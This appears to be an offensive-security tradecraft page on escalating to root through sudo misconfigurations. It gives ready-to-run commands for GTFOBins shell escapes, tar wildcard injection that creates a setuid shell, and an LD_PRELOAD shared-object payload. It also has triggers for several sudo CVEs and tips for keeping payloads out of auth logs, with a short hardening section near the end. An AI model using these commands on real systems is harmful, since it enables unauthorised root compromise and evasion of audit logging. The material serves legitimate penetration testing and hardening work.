Sudo misconfiguration exploitation
TL;DR:
sudo -lis the first command on every Linux box. NOPASSWD entries, wildcard-bearingCmnd_Aliases,SETENV,env_keep, andrunasquirks (sudo -u#-1, runas_default) routinely give an unprivileged shell root. Modern sudo (>=1.9) added defaults that close the worst defaults, but most real fleets are still configured pre-1.9 and inherit the legacy footguns.
What it is
sudo reads /etc/sudoers and /etc/sudoers.d/* and grants a user the right to run specific commands as another user, optionally without re-entering a password. Misconfigurations come from three places: overly broad command matching (wildcards), keeping dangerous environment variables, and the runas-target field allowing unexpected UIDs. Combined with linux-suid-sgid-gtfobins entries under #+sudo, almost every common admin binary has a documented escape.
Preconditions / where it applies
- Local shell on the box.
sudoinstalled and the current user appears insudoersor in a group referenced by it.- For most exploits: NOPASSWD entry (you don’t know the password) OR the password (because the user re-uses it).
Tradecraft
Step 0 — Enumerate.
1
2
3
4
sudo -l # canonical
sudo -ll # verbose, shows env_keep / runas
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # if readable
getent group sudo wheel admin docker # group membership
sudo -l -n runs non-interactively; if it errors with “a password is required,” you still see allowed commands (sudo 1.9+ prints User x is not allowed, fall back to reading sudoers).
Pattern 1 — NOPASSWD on a GTFOBins binary. Match against gtfobins.github.io/#+sudo. Each entry includes the exact sudo invocation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Allowed: vim
sudo vim -c ':!/bin/sh'
# Allowed: less
sudo less /etc/profile
!sh
# Allowed: man
sudo man id
!sh
# Allowed: apt / apt-get
sudo apt-get changelog apt
!sh
# Allowed: find (the classic)
sudo find / -name x -exec /bin/sh \;
# Allowed: python / perl / ruby
sudo python -c 'import os; os.execl("/bin/sh","sh","-p")'
Pattern 2 — Wildcard injection. sudoers allows * and ? matching. A line like:
1
user ALL=(root) NOPASSWD: /usr/bin/tar -czf /backup/*.tar.gz *
The trailing * lets you inject extra args. Tar supports --checkpoint-action=exec:
1
2
3
4
echo 'cp /bin/bash /tmp/x; chmod +s /tmp/x' > /tmp/.h
chmod +x /tmp/.h
cd /tmp
sudo tar -czf x.tar.gz . --checkpoint=1 --checkpoint-action=exec=sh\ /tmp/.h
Common wildcard victims: tar, rsync, find, chmod, chown, custom backup scripts.
Pattern 3 — env_keep + LD_PRELOAD. If Defaults env_keep += "LD_PRELOAD" (or env_reset is off), a malicious shared object loads with sudo’s privileges:
1
2
3
4
// pwn.c
#include <stdlib.h>
#include <unistd.h>
void _init(){ setuid(0); setgid(0); execve("/bin/sh", (char*[]){"/bin/sh","-p",NULL}, NULL); }
1
2
gcc -shared -fPIC -nostartfiles pwn.c -o /tmp/pwn.so
sudo LD_PRELOAD=/tmp/pwn.so apache2ctl restart
LD_LIBRARY_PATH works the same way if the target binary loads from a path you control.
Pattern 4 — runas ALL with -u#-1 (CVE-2019-14287). Pre-1.8.28 sudo, an entry like user ALL=(ALL,!root) /bin/bash was meant to allow running as any user except root. sudo -u#-1 bash casts -1 → 0xFFFFFFFF → … → 0 in older code, popping a root shell despite the exclusion. Try it on any legacy fleet.
Pattern 5 — sudoedit race (CVE-2023-22809). Setting EDITOR=vim -- /etc/passwd injects an extra file path; sudoedit happily opens both. Patched in 1.9.12p2 but still found in unpatched containers and embedded distros.
Pattern 6 — pwfeedback BoF (CVE-2019-18634). If pwfeedback is enabled in sudoers (asterisks during password entry), piping a long password triggers a stack overflow. Exploitable on sudo <1.8.31.
Pattern 7 — Baron Samedit (CVE-2021-3156). Heap overflow when sudo processes \<newline> in argv[0]. Reaches root without sudoers entry on patched-late distros.
1
2
3
# Detect
sudoedit -s '\' `python3 -c 'print("A"*1000)'`
# segfault = vulnerable
Detection and defence
auditdrules onexecvewithexe=/usr/bin/sudoand on edits to/etc/sudoers*.- Sudoers best practice:
Defaults env_reset,Defaults secure_path, never includeLD_*inenv_keep. UseCmnd_Aliaswith absolute paths, no wildcards. - Prefer per-binary
setcapoverNOPASSWD: ALL. - Patch sudo: 1.9.13+ closes the well-known CVEs. Most embedded and container images lag.
- For wildcard control, use
restricted_shellor wrap the allowed command in a script that hard-codes args.
OPSEC pitfalls
- Sudo logs every invocation to
/var/log/auth.log(Debian) or/var/log/secure(RHEL). The command and the resulting argv appear; don’t put plaintext payloads on the command line — pipe from a file or env var. iolog_file(when enabled) records the full session terminal. Check withsudo -ll | grep -i iolog.- Some PAM stacks notify root on every successful
sudovia mail or syslog forward.
References
- GTFOBins — sudo entries — exhaustive escape catalogue
- sudo CVE list — official tracker
- CVE-2019-14287 advisory — runas bypass deep-dive
- CVE-2021-3156 (Baron Samedit) Qualys post — original disclosure
See also: linux-suid-sgid-gtfobins, linux-capabilities-abuse, polkit-pkexec-privesc, pam-misconfig-privesc